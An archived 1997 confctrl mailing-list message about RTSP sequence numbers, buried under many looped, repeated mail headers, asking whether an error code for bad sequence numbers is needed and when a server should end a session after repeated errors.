  id AA-1997May30.152700.1063.777074; Fri, 30 May 1997 17:20:57 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com, confctrl@isi.edu (confctrl)
Message-Id: <1997May30.152700.1063.777074@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 30 May 1997 17:20:57 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.203421.1063.480990; Fri, 30 May 1997 20:34:22 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA17723>; Fri, 30 May 1997 16:07:34 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA17717>; Fri, 30 May 1997 16:07:31 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA04159>; Fri, 30 May 1997 16:07:29 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.184547.1063.777234; Fri, 30 May 1997 19:06:52 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May30.184547.1063.777234@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 30 May 1997 19:06:52 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.220055.1063.481011; Fri, 30 May 1997 22:00:58 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA22009>; Fri, 30 May 1997 17:39:28 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA22003>; Fri, 30 May 1997 17:39:27 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA06648>; Fri, 30 May 1997 17:39:20 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.203400.1063.777270; Fri, 30 May 1997 20:38:44 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May30.203400.1063.777270@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 30 May 1997 20:38:44 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.001145.1063.481034; Sat, 31 May 1997 00:11:46 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA24328>; Fri, 30 May 1997 19:07:45 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA24322>; Fri, 30 May 1997 19:07:43 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA21249>; Fri, 30 May 1997 19:07:41 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.220000.1063.777296; Fri, 30 May 1997 22:07:03 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May30.220000.1063.777296@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 30 May 1997 22:07:03 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.014619.1063.481051; Sat, 31 May 1997 01:46:20 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA26025>; Fri, 30 May 1997 21:15:16 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA26019>; Fri, 30 May 1997 21:15:13 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA24469>; Fri, 30 May 1997 21:15:11 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.001100.1063.777332; Sat, 31 May 1997 00:14:32 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May31.001100.1063.777332@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Sat, 31 May 1997 00:14:32 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.034326.1063.481070; Sat, 31 May 1997 03:43:27 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA26889>; Fri, 30 May 1997 22:50:34 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA26883>; Fri, 30 May 1997 22:50:32 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA25806>; Fri, 30 May 1997 22:50:25 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.014600.1063.777354; Sat, 31 May 1997 01:49:49 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May31.014600.1063.777354@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Sat, 31 May 1997 01:49:49 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.054008.1063.481086; Sat, 31 May 1997 05:40:09 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA28271>; Sat, 31 May 1997 00:48:33 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA28265>; Sat, 31 May 1997 00:48:29 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA27438>; Sat, 31 May 1997 00:48:27 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.034300.1063.777390; Sat, 31 May 1997 03:47:46 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May31.034300.1063.777390@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Sat, 31 May 1997 03:47:46 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.072627.1063.481096; Sat, 31 May 1997 07:26:27 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA01798>; Sat, 31 May 1997 02:45:17 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA01792>; Sat, 31 May 1997 02:45:12 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA28429>; Sat, 31 May 1997 02:45:08 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.054000.1063.777410; Sat, 31 May 1997 05:44:26 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May31.054000.1063.777410@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Organization: Process Software Corporation
Date: Sat, 31 May 1997 05:44:26 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



From majordom@ISI.EDU  Sat May 31 05:13:45 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA03976>; Sat, 31 May 1997 06:14:36 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA03969>; Sat, 31 May 1997 06:14:31 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
	id <AA00492>; Sat, 31 May 1997 06:14:28 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.090900.1063.777443; Sat, 31 May 1997 09:13:45 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May31.090900.1063.777443@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Organization: Process Software Corporation
Date: Sat, 31 May 1997 09:13:45 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Two questions:

1) There is presently no error code defined in Section 6.1.1 for "bad"
(unrecognized) sequence numbers. Shouldn't there be?

2) Under what error conditions should a server disconnect a "session"
with a client? That is, let's say that the client-server dialog is
plagued by a continual series of bad sequence numbers. At what point
should a server "throw up its hands" and quit the session? How about
other repeated error conditions?



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.152727.1063.480772; Fri, 30 May 1997 15:27:27 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA00398>; Fri, 30 May 1997 10:47:56 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA00392>; Fri, 30 May 1997 10:47:54 -0700
Received: from mail3.microsoft.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA19119>; Fri, 30 May 1997 10:47:53 -0700
Received: by mail3.microsoft.com with Internet Mail Service (5.0.1458.30)
 id <LXLSJTNX>; Fri, 30 May 1997 10:50:05 -0700
Message-Id:
<503A2A3C2932CF118D8800805FD44E18036DA9AB@RED-68-MSG.dns.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: confctrl@isi.edu
Subject: RTSP Sequence Numbers
Date: Fri, 30 May 1997 10:47:52 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1458.30)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.184312.1063.480959; Fri, 30 May 1997 18:43:12 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA11816>; Fri, 30 May 1997 14:21:40 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA11804>; Fri, 30 May 1997 14:21:37 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA28044>; Fri, 30 May 1997 14:21:33 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.152700.1063.777074; Fri, 30 May 1997 17:20:57 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com, confctrl@isi.edu (confctrl)
Message-Id: <1997May30.152700.1063.777074@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 30 May 1997 17:20:57 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.203421.1063.480990; Fri, 30 May 1997 20:34:22 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA17723>; Fri, 30 May 1997 16:07:34 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA17717>; Fri, 30 May 1997 16:07:31 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA04159>; Fri, 30 May 1997 16:07:29 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.184547.1063.777234; Fri, 30 May 1997 19:06:52 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May30.184547.1063.777234@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 30 May 1997 19:06:52 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.220055.1063.481011; Fri, 30 May 1997 22:00:58 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA22009>; Fri, 30 May 1997 17:39:28 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA22003>; Fri, 30 May 1997 17:39:27 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA06648>; Fri, 30 May 1997 17:39:20 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.203400.1063.777270; Fri, 30 May 1997 20:38:44 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May30.203400.1063.777270@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 30 May 1997 20:38:44 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.001145.1063.481034; Sat, 31 May 1997 00:11:46 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA24328>; Fri, 30 May 1997 19:07:45 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA24322>; Fri, 30 May 1997 19:07:43 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA21249>; Fri, 30 May 1997 19:07:41 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.220000.1063.777296; Fri, 30 May 1997 22:07:03 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May30.220000.1063.777296@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 30 May 1997 22:07:03 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.014619.1063.481051; Sat, 31 May 1997 01:46:20 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA26025>; Fri, 30 May 1997 21:15:16 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA26019>; Fri, 30 May 1997 21:15:13 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA24469>; Fri, 30 May 1997 21:15:11 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.001100.1063.777332; Sat, 31 May 1997 00:14:32 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May31.001100.1063.777332@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Sat, 31 May 1997 00:14:32 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.034326.1063.481070; Sat, 31 May 1997 03:43:27 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA26889>; Fri, 30 May 1997 22:50:34 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA26883>; Fri, 30 May 1997 22:50:32 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA25806>; Fri, 30 May 1997 22:50:25 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.014600.1063.777354; Sat, 31 May 1997 01:49:49 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May31.014600.1063.777354@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Sat, 31 May 1997 01:49:49 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.054008.1063.481086; Sat, 31 May 1997 05:40:09 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA28271>; Sat, 31 May 1997 00:48:33 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA28265>; Sat, 31 May 1997 00:48:29 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA27438>; Sat, 31 May 1997 00:48:27 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.034300.1063.777390; Sat, 31 May 1997 03:47:46 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May31.034300.1063.777390@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Sat, 31 May 1997 03:47:46 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.072627.1063.481096; Sat, 31 May 1997 07:26:27 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA01798>; Sat, 31 May 1997 02:45:17 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA01792>; Sat, 31 May 1997 02:45:12 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA28429>; Sat, 31 May 1997 02:45:08 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.054000.1063.777410; Sat, 31 May 1997 05:44:26 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May31.054000.1063.777410@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Sat, 31 May 1997 05:44:26 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.090933.1063.481109; Sat, 31 May 1997 09:09:33 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA03036>; Sat, 31 May 1997 04:31:47 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA03030>; Sat, 31 May 1997 04:31:43 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA29506>; Sat, 31 May 1997 04:31:40 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.072600.1063.777423; Sat, 31 May 1997 07:30:58 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May31.072600.1063.777423@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Organization: Process Software Corporation
Date: Sat, 31 May 1997 07:30:58 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



From majordom@ISI.EDU  Sat May 31 06:56:10 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA04870>; Sat, 31 May 1997 07:57:01 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA04864>; Sat, 31 May 1997 07:56:58 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
	id <AA01358>; Sat, 31 May 1997 07:56:55 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.105300.1063.777477; Sat, 31 May 1997 10:56:10 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May31.105300.1063.777477@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Organization: Process Software Corporation
Date: Sat, 31 May 1997 10:56:10 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Two questions:

1) There is presently no error code defined in Section 6.1.1 for "bad"
(unrecognized) sequence numbers. Shouldn't there be?

2) Under what error conditions should a server disconnect a "session"
with a client? That is, let's say that the client-server dialog is
plagued by a continual series of bad sequence numbers. At what point
should a server "throw up its hands" and quit the session? How about
other repeated error conditions?



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.152727.1063.480772; Fri, 30 May 1997 15:27:27 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA00398>; Fri, 30 May 1997 10:47:56 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA00392>; Fri, 30 May 1997 10:47:54 -0700
Received: from mail3.microsoft.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA19119>; Fri, 30 May 1997 10:47:53 -0700
Received: by mail3.microsoft.com with Internet Mail Service (5.0.1458.30)
 id <LXLSJTNX>; Fri, 30 May 1997 10:50:05 -0700
Message-Id:
<503A2A3C2932CF118D8800805FD44E18036DA9AB@RED-68-MSG.dns.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: confctrl@isi.edu
Subject: RTSP Sequence Numbers
Date: Fri, 30 May 1997 10:47:52 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1458.30)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.184312.1063.480959; Fri, 30 May 1997 18:43:12 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA11816>; Fri, 30 May 1997 14:21:40 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA11804>; Fri, 30 May 1997 14:21:37 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA28044>; Fri, 30 May 1997 14:21:33 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.152700.1063.777074; Fri, 30 May 1997 17:20:57 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com, confctrl@isi.edu (confctrl)
Message-Id: <1997May30.152700.1063.777074@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 30 May 1997 17:20:57 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.203421.1063.480990; Fri, 30 May 1997 20:34:22 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA17723>; Fri, 30 May 1997 16:07:34 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA17717>; Fri, 30 May 1997 16:07:31 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA04159>; Fri, 30 May 1997 16:07:29 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.184547.1063.777234; Fri, 30 May 1997 19:06:52 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May30.184547.1063.777234@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 30 May 1997 19:06:52 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.220055.1063.481011; Fri, 30 May 1997 22:00:58 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA22009>; Fri, 30 May 1997 17:39:28 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA22003>; Fri, 30 May 1997 17:39:27 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA06648>; Fri, 30 May 1997 17:39:20 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.203400.1063.777270; Fri, 30 May 1997 20:38:44 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May30.203400.1063.777270@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 30 May 1997 20:38:44 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.001145.1063.481034; Sat, 31 May 1997 00:11:46 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA24328>; Fri, 30 May 1997 19:07:45 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA24322>; Fri, 30 May 1997 19:07:43 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
